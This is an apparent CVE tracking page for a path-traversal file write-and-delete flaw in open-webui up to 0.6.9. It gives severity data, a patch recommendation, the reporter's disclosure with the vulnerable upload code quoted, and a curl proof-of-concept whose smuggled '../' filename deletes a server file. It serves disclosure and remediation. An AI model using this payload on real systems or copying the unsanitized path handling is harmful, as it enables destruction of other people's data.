CVE-2026-44565

GHSA-j3fw-wc48-29g3 HIGH
Published May 11, 2026

** CONFIDENTIAL ** Vulnerability Disclosure Analysis Documentation ----------------------------------------------- Vulnerability Details --------------------- 1. Discoverer: Taylor Pennington of KoreLogic, Inc. 2. Date Submitted: June 11, 2024 3. Title: Open WebUI Arbitrary File Write, Delete via...

Full CISO analysis pending enrichment.

Affected Systems

Package Ecosystem Vulnerable Range Patched
open-webui pip <= 0.6.9 0.6.10
136.3K Pushed 2d ago 61% patched ~8d to patch Full package profile →

Do you use open-webui? You're affected.

Severity & Risk

CVSS 3.1
8.1 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
N/A

Attack Surface

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI None
S Unchanged
C None
I High
A High

Recommended Action

Patch available

Update open-webui to version 0.6.10

Compliance Impact

Compliance analysis pending. Sign in for full compliance mapping when available.

Frequently Asked Questions

What is CVE-2026-44565?

Open WebUI Arbitrary File Write, Delete via Path Traversal

Is CVE-2026-44565 actively exploited?

No confirmed active exploitation of CVE-2026-44565 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-44565?

Update to patched version: open-webui 0.6.10.

What is the CVSS score for CVE-2026-44565?

CVE-2026-44565 has a CVSS v3.1 base score of 8.1 (HIGH).

Technical Details

NVD Description

** CONFIDENTIAL ** Vulnerability Disclosure Analysis Documentation ----------------------------------------------- Vulnerability Details --------------------- 1. Discoverer: Taylor Pennington of KoreLogic, Inc. 2. Date Submitted: June 11, 2024 3. Title: Open WebUI Arbitrary File Write, Delete via Path Traversal 4. High-level Summary: Attacker controlled files can be uploaded to arbitrary locations on the web server's filesystem by abusing a path traversal vulnerability. After the file is written, it is deleted. 5. Affected Vendor: Open WebUI 6. Affected Product(s): Open WebUI (Formerly Ollama WebUI) 7. Affected Version(s): 0.1.105 8. Platform/OS: Debian GNU/Linux 12 (bookworm) 9. Vector: HTTP web interface 10. CWE: 22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') 11. Technical Analysis: When attaching files to a prompt by clicking the plus sign (+) on the left of the message input box when using the Open WebUI HTTP interface, the file is uploaded to a static upload directory. If the file is an audio file it will be sent to a second API that will attempt to transcribe it. The name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission. This can be visualized by examining the python code for the "/ollama/models/upload" API route (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1063-L1127): ``` def upload_model(file: UploadFile = File(...), url_idx: Optional[int] = None): if url_idx == None: url_idx = 0 ollama_url = app.state.OLLAMA_BASE_URLS[url_idx] file_path = f"{UPLOAD_DIR}/{file.filename}" # Save file in chunks with open(file_path, "wb+") as f: for chunk in file.file: f.write(chunk) def file_process_stream(): nonlocal ollama_url total_size = os.path.getsize(file_path) chunk_size = 1024 * 1024 try: with open(file_path, "rb") as f: total = 0 done = False while not done: chunk = f.read(chunk_size) if not chunk: done = True continue total += len(chunk) progress = round((total / total_size) * 100, 2) res = { "progress": progress, "total": total_size, "completed": total, } yield f"data: {json.dumps(res)}\n\n" if done: f.seek(0) hashed = calculate_sha256(f) f.seek(0) url = f"{ollama_url}/api/blobs/sha256:{hashed}" response = requests.post(url, data=f) if response.ok: res = { "done": done, "blob": f"sha256:{hashed}", "name": file.filename, } os.remove(file_path) yield f"data: {json.dumps(res)}\n\n" else: raise Exception( "Ollama: Could not create blob, Please try again." ) except Exception as e: res = {"error": str(e)} yield f"data: {json.dumps(res)}\n\n" return StreamingResponse(file_process_stream(), media_type="text/event-stream") ``` The model is temporarily written to disk in chunks and then the data is sent to another internal API. Once the file is successfully passed, the file is removed from the disk. Note line 1116, `os.remove(file_path)`. This has an affect of stomping on and ultimately deleting any file that the user of the open-webui service has permissions over. It may be possible to continue sending chunks to the file slowly and create a race condition however, this was not validated. 12. Proof-of-Concept: First, create a file under the `/tmp` directory named `DELETE_ME` while logged in as the user account of the web application or chown the file to be owned by the open-webui user. ``` # su ollama # touch /tmp/DELETE_ME ``` Execute the following cURL command after replacing the exported `JWT` value for a valid user session: ``` export JWT="JWT_HERE"; curl -s -X $'POST' \ -H $'Host: openwebui.example.com' -H $'Content-Length: 206' -H "Authorization: Bearer ${JWT}" -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW' \ --data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"../../../../../../../tmp/DELETE_ME\"\x0d\x0aContent-Type: image/png\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundary7MA4YWxkTrZu0gW--' \ $'https://openwebui.example.com/ollama/models/upload' ``` Verify that `/tmp/DELETE_ME` has been deleted. 13. Mitigation Recommendation: Modify line 1070 (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1070) to: ``` filename = os.path.basename(file.filename) file_path = f"{UPLOAD_DIR}/{filename}" ```

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Timeline

Published
May 11, 2026
Last Modified
May 11, 2026
First Seen
May 11, 2026

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